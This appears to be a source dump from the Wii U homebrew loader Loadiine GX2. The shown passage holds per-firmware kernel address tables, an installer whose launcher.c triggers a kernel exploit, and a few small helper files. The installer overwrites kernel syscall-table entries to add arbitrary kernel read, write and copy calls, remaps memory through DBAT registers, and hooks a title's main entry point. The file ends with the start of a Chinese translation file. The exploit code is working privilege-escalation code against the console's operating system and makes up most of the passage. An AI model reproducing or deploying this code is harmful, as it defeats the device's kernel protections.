#define KERN_SYSCALL_TBL 0xFFE85910
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB4E40
#define KERN_DRVPTR 0x00000000
#elif VER == 300
#define KERN_SYSCALL_TBL 0xFFE85950
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB66E4
#define KERN_DRVPTR 0x00000000
#elif VER == 310
#define KERN_SYSCALL_TBL 0xFFE85950
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB66E4
#define KERN_DRVPTR 0x00000000
#elif VER == 400
#define KERN_SYSCALL_TBL 0xFFE85890
#define KERN_CODE_READ 0xFFF02214
#define KERN_CODE_WRITE 0xFFF02234
#define KERN_ADDRESS_TBL 0xFFEB7E5C
#define KERN_DRVPTR 0x00000000
#elif VER == 410
#define KERN_SYSCALL_TBL 0xffe85890
#define KERN_CODE_READ 0xfff02214
#define KERN_CODE_WRITE 0xfff02234
#define KERN_ADDRESS_TBL 0xffeb902c
#define KERN_DRVPTR 0x00000000
#elif VER == 500
#define KERN_SYSCALL_TBL 0xffea9520
#define KERN_CODE_READ 0xfff021f4
#define KERN_CODE_WRITE 0xfff02214
#define KERN_ADDRESS_TBL 0xffea9e4c
#define KERN_DRVPTR 0x00000000
#elif (VER == 532) || (VER == 540)
#define KERN_SYSCALL_TBL 0xFFEAA0E0
#define KERN_CODE_READ 0xFFF02274
#define KERN_CODE_WRITE 0xFFF02294
#define KERN_ADDRESS_TBL 0xFFEAAA10
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
#elif VER == 550
#define KERN_SYSCALL_TBL 0xFFEAAE60
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
#else
#error "Unsupported Wii U software version"
#endif
/* Browser PFID */
#define PFID_BROWSER 8
/* Kernel heap constants */
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
/* Size of a Cafe OS thread */
#define OSTHREAD_SIZE 0x1000
void run_kexploit(private_data_t *private_data);
/* Find a ROP gadget by a sequence of bytes */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
/* Arbitrary read and write syscalls */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
#endif /* KEXPLOIT_H */
================================================
FILE: installer/launcher.c
================================================
#include "types.h"
#include "elf_abi.h"
#include "kexploit.h"
#include "structs.h"
#include "sd_loader.h"
#define MEM_BASE 0xC0800000
#include "../src/common/common.h"
#include "../src/common/os_defs.h"
#include "coreinit.h"
//! this shouldnt depend on OS
#define LIB_CODE_RW_BASE_OFFSET 0xC1000000
#define CODE_RW_BASE_OFFSET 0xC0000000
#define DATA_RW_BASE_OFFSET 0xC0000000
#if ( (VER == 532) || (VER == 540) )
#define ADDRESS_OSTitle_main_entry_ptr 0x1005d180
#define ADDRESS_main_entry_hook 0x0101c55c
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEA9CE0 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAA0E0 // works with browser (previously KERN_SYSCALL_TBL)
#elif ( (VER == 500) || (VER == 510) )
#define ADDRESS_OSTitle_main_entry_ptr 0x1005CB00
#define ADDRESS_main_entry_hook 0x0101C15C
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEA9120 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEA9520 // works with browser (previously KERN_SYSCALL_TBL)
#elif (VER == 550)
#define ADDRESS_OSTitle_main_entry_ptr 0x1005E040
#define ADDRESS_main_entry_hook 0x0101c56c
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
#elif (VER == 410)
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0
#define ADDRESS_main_entry_hook 0x0101BD4C
#define KERN_SYSCALL_TBL_1 0xFFE84C90
#define KERN_SYSCALL_TBL_2 0xFFE85090
#define KERN_SYSCALL_TBL_3 0xFFE85C90
#define KERN_SYSCALL_TBL_4 0xFFE85490
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
#elif (VER == 400)
#define ADDRESS_OSTitle_main_entry_ptr 0x1005A600
#define ADDRESS_main_entry_hook 0x0101BD4C
#define KERN_SYSCALL_TBL_1 0xFFE84C90
#define KERN_SYSCALL_TBL_2 0xFFE85090
#define KERN_SYSCALL_TBL_3 0xFFE85C90
#define KERN_SYSCALL_TBL_4 0xFFE85490
#define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser
#elif ( (VER == 300) || (VER == 310) )
#define ADDRESS_OSTitle_main_entry_ptr 0x1005BBC0
#define ADDRESS_main_entry_hook 0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate
#define KERN_SYSCALL_TBL_1 0xFFE84D50
#define KERN_SYSCALL_TBL_2 0xFFE85150
#define KERN_SYSCALL_TBL_3 0xFFE85D50 // comes after KERN_SYSCALL_TBL_5
#define KERN_SYSCALL_TBL_4 0xFFE85550
#define KERN_SYSCALL_TBL_5 0xFFE85950
#else
#error Please define valid values for firmware.
#endif // VER
#define ROOTRPX_DBAT0U_VAL 0xC00003FF
#define COREINIT_DBAT0U_VAL 0xC20001FF
#if (VER >= 410)
#define ROOTRPX_DBAT0L_VAL 0x30000012
#define COREINIT_DBAT0L_VAL 0x32000012
#elif (VER <= 400)
#define ROOTRPX_DBAT0L_VAL 0x4E000012
#define COREINIT_DBAT0L_VAL 0x4D000012
#else
#error Please define valid values for firmware.
#endif
/* Install functions */
static void InstallMain(private_data_t *private_data);
static void InstallPatches(private_data_t *private_data);
static void ExitFailure(private_data_t *private_data, const char *failure);
static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address);
static void thread_callback(int argc, void *argv);
static void SetupKernelSyscall(unsigned int addr);
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len);
/* assembly functions */
extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len);
extern void Syscall_0x36(void);
extern void KernelPatches(void);
/* ****************************************************************** */
/* ENTRY POINT */
/* ****************************************************************** */
void __main(void)
{
/* Get coreinit handle and keep it in memory */
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
/* Get our memory functions */
unsigned int* functionPointer;
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
private_data_t private_data;
memset(&private_data, 0, sizeof(private_data_t));
private_data.coreinit_handle = coreinit_handle;
private_data.memset = memset;
private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit);
if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0)
{
run_kexploit(&private_data);
}
else
{
/* Get functions to send restart signal */
int(*IM_Open)();
int(*IM_Close)(int fd);
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
void*(*OSAllocFromSystem)(unsigned int size, int align);
void(*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* Send restart signal to get rid of uneeded threads */
/* Cause the other browser threads to exit */
int fd = IM_Open();
void *mem = OSAllocFromSystem(0x100, 64);
if(!mem)
ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser.");
private_data.memset(mem, 0, 0x100);
/* Sets wanted flag */
IM_SetDeviceState(fd, mem, 3, 0, 0);
IM_Close(fd);
OSFreeToSystem(mem);
/* Waits for thread exits */
unsigned int t1 = 0x1FFFFFFF;
while(t1--) ;
/* restore kernel memory table to original state */
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0);
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000);
}
/* Prepare for thread startups */
int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
int (*OSResumeThread)(void *thread);
int (*OSIsThreadTerminated)(void *thread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
/* Allocate a stack for the thread */
/* IMPORTANT: libcurl uses around 0x1000 internally so make
sure to allocate more for the stack to avoid crashes */
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20);
/* Create the thread variable */
void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8);
if(!thread || !stack)
ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser.");
// the thread stack is too small on current thread, switch to an own created thread
// create a detached thread with priority 0 and use core 1
int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A);
if (ret == 0)
ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser.");
/* Schedule it for execution */
OSResumeThread(thread);
// Keep this main thread around for ELF loading
// Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate
while(OSIsThreadTerminated(thread) == 0)
{
asm volatile (
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
" nop\n"
);
}
/* setup kernel copy data syscall */
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData);
/* Install our code now */
InstallMain(&private_data);
/* setup our own syscall and call it */
SetupKernelSyscall((unsigned int)KernelPatches);
Syscall_0x36();
/* Patch functions and our code for usage */
InstallPatches(&private_data);
/* Free thread memory and stack */
private_data.MEMFreeToDefaultHeap(thread);
private_data.MEMFreeToDefaultHeap(stack);
//! we are done -> exit browser now
private_data._Exit();
}
void ExitFailure(private_data_t *private_data, const char *failure)
{
/************************************************************************/
// Prepare screen
void (*OSScreenInit)();
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
// Prepare screen
int screen_buf0_size = 0;
int screen_buf1_size = 0;
unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
// Init screen and screen buffers
OSScreenInit();
screen_buf0_size = OSScreenGetBufferSizeEx(0);
screen_buf1_size = OSScreenGetBufferSizeEx(1);
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
// Clear screens
OSScreenClearBufferEx(0, screen_color);
OSScreenClearBufferEx(1, screen_color);
// Flush the cache
private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size);
private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
// Flip buffers
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
OSScreenPutFontEx(1, 0, 0, failure);
OSScreenFlipBuffersEx(1);
OSScreenClearBufferEx(1, 0);
unsigned int t1 = 0x3FFFFFFF;
while(t1--) asm volatile("nop");
private_data->_Exit();
}
/* *****************************************************************************
* Base functions
* ****************************************************************************/
static void SetupKernelSyscall(unsigned int address)
{
// Add syscall #0x36
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address);
// make kern_read/kern_write available in all places
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ);
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE);
}
static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len)
{
/*
* Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section
*/
register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l;
// setup mapping based on target address
if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address
{
target_dbat0u = ROOTRPX_DBAT0U_VAL;
target_dbat0l = ROOTRPX_DBAT0L_VAL;
}
else if ((addr >= 0xC2000000) && (addr < 0xC3000000))
{
target_dbat0u = COREINIT_DBAT0U_VAL;
target_dbat0l = COREINIT_DBAT0L_VAL;
}
// save the original DBAT value
asm volatile("mfdbatu %0, 0" : "=r" (dbatu0));
asm volatile("mfdbatl %0, 0" : "=r" (dbatl0));
asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u));
asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l));
asm volatile("eieio; isync");
unsigned char *src_p = (unsigned char*)src;
unsigned char *dst_p = (unsigned char*)addr;
unsigned int i;
for(i = 0; i < len; i++)
{
dst_p[i] = src_p[i];
}
unsigned int flushAddr = addr & ~31;
while(flushAddr < (addr + len))
{
asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr));
flushAddr += 0x20;
}
/*
* Restore original DBAT value
*/
asm volatile("mtdbatu 0, %0" : : "r" (dbatu0));
asm volatile("mtdbatl 0, %0" : : "r" (dbatl0));
asm volatile("eieio; isync");
}
static void thread_callback(int argc, void *argv)
{
/* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */
unsigned int sysapp_handle;
void (*_SYSLaunchMiiStudio)(void) = 0;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio);
_SYSLaunchMiiStudio();
}
static int strcmp(const char *s1, const char *s2)
{
while(*s1 && *s2)
{
if(*s1 != *s2) {
return -1;
}
s1++;
s2++;
}
if(*s1 != *s2) {
return -1;
}
return 0;
}
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found)
{
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
if ( !data
|| !IS_ELF (*ehdr)
|| (ehdr->e_type != ET_EXEC)
|| (ehdr->e_machine != EM_PPC))
{
ExitFailure(private_data, "Invalid elf file");
}
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i;
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0)
{
if(addr)
*addr = shdr[i].sh_addr;
if(size)
*size = shdr[i].sh_size;
return shdr[i].sh_offset;
}
}
if(fail_on_not_found)
ExitFailure(private_data, (char*)name);
return 0;
}
/* ****************************************************************** */
/* INSTALL MAIN CODE */
/* ****************************************************************** */
static void InstallMain(private_data_t *private_data)
{
// get .text section
unsigned int main_text_addr = 0;
unsigned int main_text_len = 0;
unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
unsigned char *main_text = private_data->data_elf + section_offset;
/* Copy main .text to memory */
if(section_offset > 0)
SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);
// get the .rodata section
unsigned int main_rodata_addr = 0;
unsigned int main_rodata_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
if(section_offset > 0)
{
unsigned char *main_rodata = private_data->data_elf + section_offset;
/* Copy main rodata to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);
}
// get the .data section
unsigned int main_data_addr = 0;
unsigned int main_data_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
if(section_offset > 0)
{
unsigned char *main_data = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);
}
// get the .bss section
unsigned int main_bss_addr = 0;
unsigned int main_bss_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
if(section_offset > 0)
{
unsigned char *main_bss = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);
}
}
/* ****************************************************************** */
/* INSTALL PATCHES */
/* All OS specific stuff is done here */
/* ****************************************************************** */
static void InstallPatches(private_data_t *private_data)
{
OsSpecifics osSpecificFunctions;
private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));
unsigned int bufferU32;
/* Pre-setup a few options to defined values */
bufferU32 = VER;
SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));
bufferU32 = 0xDEADC0DE;
SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));
SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));
bufferU32 = 0;
SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));
unsigned int jump_main_hook = 0;
osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
//! pointer to main entry point of a title
osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));
//! at this point we dont need to check header and stuff as it is sure to be OK
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;
unsigned int mainEntryPoint = ehdr->e_entry;
//! Install our entry point hook
unsigned int repl_addr = ADDRESS_main_entry_hook;
unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
bufferU32 = 0x48000003 | jump_addr;
SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));
// flush caches and invalidate instruction cache
private_data->ICInvalidateRange((void*)(repl_addr), 4);
}
================================================
FILE: installer/logger.c
================================================
#include <stdarg.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include "common/common.h"
#include "dynamic_libs/socket_functions.h"
#include "logger.h"
static int log_socket = 0;
void log_init(void)
{
if(log_socket > 0)
return;
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (log_socket < 0)
return;
struct sockaddr_in connect_addr;
memset(&connect_addr, 0, sizeof(connect_addr));
connect_addr.sin_family = AF_INET;
connect_addr.sin_port = 4405;
inet_aton("192.168.0.44", &connect_addr.sin_addr);
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
{
socketclose(log_socket);
log_socket = -1;
}
}
void log_print(const char *str)
{
// socket is always 0 initially as it is in the BSS
if(log_socket <= 0) {
log_init();
return;
}
int len = strlen(str);
int ret;
while (len > 0) {
ret = send(log_socket, str, len, 0);
if(ret < 0)
return;
len -= ret;
str += ret;
}
}
void log_printf(const char *format, ...)
{
if(log_socket <= 0) {
log_init();
return;
}
char * tmp = NULL;
va_list va;
va_start(va, format);
if((vasprintf(&tmp, format, va) >= 0) && tmp)
{
log_print(tmp);
}
va_end(va);
if(tmp)
free(tmp);
}
================================================
FILE: installer/logger.h
================================================
#ifndef __LOGGER_H_
#define __LOGGER_H_
#ifdef __cplusplus
extern "C" {
#endif
/* Communication bytes with the server */
// Com
#define BYTE_NORMAL 0xff
#define BYTE_SPECIAL 0xfe
#define BYTE_OK 0xfd
#define BYTE_PING 0xfc
#define BYTE_LOG_STR 0xfb
#define BYTE_DISCONNECT 0xfa
// SD
#define BYTE_MOUNT_SD 0xe0
#define BYTE_MOUNT_SD_OK 0xe1
#define BYTE_MOUNT_SD_BAD 0xe2
// Replacement
#define BYTE_STAT 0x00
#define BYTE_STAT_ASYNC 0x01
#define BYTE_OPEN_FILE 0x02
#define BYTE_OPEN_FILE_ASYNC 0x03
#define BYTE_OPEN_DIR 0x04
#define BYTE_OPEN_DIR_ASYNC 0x05
#define BYTE_CHANGE_DIR 0x06
#define BYTE_CHANGE_DIR_ASYNC 0x07
#define BYTE_MAKE_DIR 0x08
#define BYTE_MAKE_DIR_ASYNC 0x09
#define BYTE_RENAME 0x0A
#define BYTE_RENAME_ASYNC 0x0B
#define BYTE_REMOVE 0x0C
#define BYTE_REMOVE_ASYNC 0x0D
// Log
#define BYTE_CLOSE_FILE 0x40
#define BYTE_CLOSE_FILE_ASYNC 0x41
#define BYTE_CLOSE_DIR 0x42
#define BYTE_CLOSE_DIR_ASYNC 0x43
#define BYTE_FLUSH_FILE 0x44
#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45
#define BYTE_GET_LAST_ERROR 0x46
#define BYTE_GET_MOUNT_SOURCE 0x47
#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48
#define BYTE_GET_POS_FILE 0x49
#define BYTE_SET_POS_FILE 0x4A
#define BYTE_GET_STAT_FILE 0x4B
#define BYTE_EOF 0x4C
#define BYTE_READ_FILE 0x4D
#define BYTE_READ_FILE_ASYNC 0x4E
#define BYTE_READ_FILE_WITH_POS 0x4F
#define BYTE_READ_DIR 0x50
#define BYTE_READ_DIR_ASYNC 0x51
#define BYTE_GET_CWD 0x52
#define BYTE_SET_STATE_CHG_NOTIF 0x53
#define BYTE_TRUNCATE_FILE 0x54
#define BYTE_WRITE_FILE 0x55
#define BYTE_WRITE_FILE_WITH_POS 0x56
#define BYTE_SAVE_INIT 0x57
#define BYTE_SAVE_SHUTDOWN 0x58
#define BYTE_SAVE_INIT_SAVE_DIR 0x59
#define BYTE_SAVE_FLUSH_QUOTA 0x5A
#define BYTE_SAVE_OPEN_DIR 0x5B
#define BYTE_SAVE_REMOVE 0x5C
#define BYTE_CREATE_THREAD 0x60
int logger_connect(int *socket);
void logger_disconnect(int socket);
void log_string(int sock, const char* str, char byte);
void log_byte(int sock, char byte);
void log_init(void);
void log_print(const char *str);
void log_printf(const char *format, ...);
#ifdef __cplusplus
}
#endif
#endif
================================================
FILE: installer/socket.h
================================================
#define AF_INET 2
#define SOCK_STREAM 1
#define IPPROTO_TCP 6
struct in_addr
{
unsigned long s_addr;
};
struct sockaddr
{
unsigned short sin_family;
unsigned short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
/* IP address of the RPC client (in this case, 192.168.1.9) */
#define PC_IP ( (192<<24) | (168<<16) | (1<<8) | (9<<0) )
================================================
FILE: installer/structs.h
================================================
#ifndef STRUCTS_H
#define STRUCTS_H
typedef struct {
unsigned char *data;
int len;
int alloc_size;
void* (*memcpy)(void * dest, const void * src, int num);
} file_struct_t;
typedef struct {
unsigned char *data_elf;
unsigned int coreinit_handle;
/* function pointers */
void* (*memcpy)(void * dest, const void * src, int num);
void* (*memset)(void * dest, unsigned int value, unsigned int bytes);
void* (*OSEffectiveToPhysical)(const void*);
void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
void (*MEMFreeToDefaultHeap)(void *ptr);
void (*DCFlushRange)(const void *addr, unsigned int length);
void (*ICInvalidateRange)(const void *addr, unsigned int length);
void (*_Exit)(void);
void* (*curl_easy_init)(void);
void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op);
int (*curl_easy_perform)(void *handle);
void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
void (*curl_easy_cleanup)(void *handle);
} private_data_t;
#endif // STRUCTS_H
================================================
FILE: installer/types.h
================================================
#ifndef TYPES_H
#define TYPES_H
typedef unsigned long long uint64_t;
typedef long long int64_t;
typedef unsigned int uint32_t;
typedef int int32_t;
typedef unsigned short uint16_t;
typedef short int16_t;
typedef unsigned char uint8_t;
typedef char int8_t;
typedef uint32_t size_t;
typedef _Bool bool;
#define true 1
#define false 0
#define null 0
#define NULL (void*)0
#endif /* TYPES_H */
================================================
FILE: languages/chinese.lang
================================================
# Loadiine GX2 language source file.
# chinese.lang - v0.34
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2009-10-01 01:00+0200\n"
"Last-Translator: kavid by 91wii.com \n"
"Language-Team: 91wii.com\n"
"Language: Simplified Chinese\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr "Loadiine GX2"
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "官方网站"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "代码编写:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "界面设计:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "有些人不想被提到名字。"
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "测试者:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "参与人员:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "基于:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0作者Golden45和Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "强烈感谢:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar的GameTDB与提供的封面和光盘封面"
#: src/menu/CreditsMenu.cpp:167
